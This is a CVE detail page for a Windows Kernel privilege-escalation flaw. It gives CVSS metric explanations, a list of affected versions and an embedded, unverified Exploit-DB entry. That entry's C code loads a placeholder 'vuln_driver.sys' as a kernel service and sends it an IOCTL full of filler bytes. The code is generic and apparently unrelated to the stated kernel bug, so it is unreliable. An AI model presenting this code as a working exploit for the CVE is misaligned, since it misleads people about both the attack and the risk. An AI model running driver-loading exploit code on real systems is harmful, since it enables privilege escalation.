CVE-2023-28293 : Detail

CVE-2023-28293

7.8
/
High
0.18%V3
Local
2023-04-11
19h13 +00:00
2025-01-23
01h05 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Windows Kernel Elevation of Privilege Vulnerability

Windows Kernel Elevation of Privilege Vulnerability

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-191 Integer Underflow (Wrap or Wraparound)
The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Unproven

No exploit code is available, or an exploit is theoretical.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51544

Publication date : 2023-06-25
22h00 +00:00
Author : Amirhossein Bahramizadeh
EDB Verified : No

// Exploit Title: Windows 11 22h2 - Kernel Privilege Elevation // Date: 2023-06-20 // country: Iran // Exploit Author: Amirhossein Bahramizadeh // Category : webapps // Vendor Homepage: // Tested on: Windows/Linux // CVE : CVE-2023-28293 #include <windows.h> #include <stdio.h> // The vulnerable driver file name const char *driver_name = "vuln_driver.sys"; // The vulnerable driver device name const char *device_name = "\\\\.\\VulnDriver"; // The IOCTL code to trigger the vulnerability #define IOCTL_VULN_CODE 0x222003 // The buffer size for the IOCTL input/output data #define IOCTL_BUFFER_SIZE 0x1000 int main() { HANDLE device; DWORD bytes_returned; char input_buffer[IOCTL_BUFFER_SIZE]; char output_buffer[IOCTL_BUFFER_SIZE]; // Load the vulnerable driver if (!LoadDriver(driver_name, "\\Driver\\VulnDriver")) { printf("Error loading vulnerable driver: %d\n", GetLastError()); return 1; } // Open the vulnerable driver device device = CreateFile(device_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (device == INVALID_HANDLE_VALUE) { printf("Error opening vulnerable driver device: %d\n", GetLastError()); return 1; } // Fill the input buffer with data to trigger the vulnerability memset(input_buffer, 'A', IOCTL_BUFFER_SIZE); // Send the IOCTL to trigger the vulnerability if (!DeviceIoControl(device, IOCTL_VULN_CODE, input_buffer, IOCTL_BUFFER_SIZE, output_buffer, IOCTL_BUFFER_SIZE, &bytes_returned, NULL)) { printf("Error sending IOCTL: %d\n", GetLastError()); return 1; } // Print the output buffer contents printf("Output buffer:\n%s\n", output_buffer); // Unload the vulnerable driver if (!UnloadDriver("\\Driver\\VulnDriver")) { printf("Error unloading vulnerable driver: %d\n", GetLastError()); return 1; } // Close the vulnerable driver device CloseHandle(device); return 0; } BOOL LoadDriver(LPCTSTR driver_name, LPCTSTR service_name) { SC_HANDLE sc_manager, service; DWORD error; // Open the Service Control Manager sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (sc_manager == NULL) { return FALSE; } // Create the service service = CreateService(sc_manager, service_name, service_name, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, driver_name, NULL, NULL, NULL, NULL, NULL); if (service == NULL) { error = GetLastError(); if (error == ERROR_SERVICE_EXISTS) { // The service already exists, so open it instead service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS); if (service == NULL) { CloseServiceHandle(sc_manager); return FALSE; } } else { CloseServiceHandle(sc_manager); return FALSE; } } // Start the service if (!StartService(service, 0, NULL)) { error = GetLastError(); if (error != ERROR_SERVICE_ALREADY_RUNNING) { CloseServiceHandle(service); CloseServiceHandle(sc_manager); return FALSE; } } CloseServiceHandle(service); CloseServiceHandle(sc_manager); return TRUE; } BOOL UnloadDriver(LPCTSTR service_name) { SC_HANDLE sc_manager, service; SERVICE_STATUS status; DWORD error; // Open the Service Control Manager sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (sc_manager == NULL) { return FALSE; } // Open the service service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS); if (service == NULL) { CloseServiceHandle(sc_manager); return FALSE; } // Stop the service if (!ControlService(service, SERVICE_CONTROL_STOP, &status)) { error = GetLastError(); if (error != ERROR_SERVICE_NOT_ACTIVE) { CloseServiceHandle(service); CloseServiceHandle(sc_manager); return FALSE; } } // Delete the service if (!DeleteService(service)) { CloseServiceHandle(service); CloseServiceHandle(sc_manager); return FALSE; } CloseServiceHandle(service); CloseServiceHandle(sc_manager); return TRUE; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10_1607 >> Version To (excluding) 10.0.14393.5850

Microsoft>>Windows_10_1809 >> Version To (excluding) 10.0.17763.4252

Microsoft>>Windows_10_20h2 >> Version To (excluding) 10.0.19042.2846

Microsoft>>Windows_10_21h2 >> Version To (excluding) 10.0.19044.2846

Microsoft>>Windows_10_22h2 >> Version To (excluding) 10.0.19045.2846

Microsoft>>Windows_11_21h2 >> Version To (excluding) 10.0.22621.1555

Microsoft>>Windows_11_22h2 >> Version To (excluding) 10.0.22621.1555

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2019 >> Version -

Microsoft>>Windows_server_2022 >> Version -

References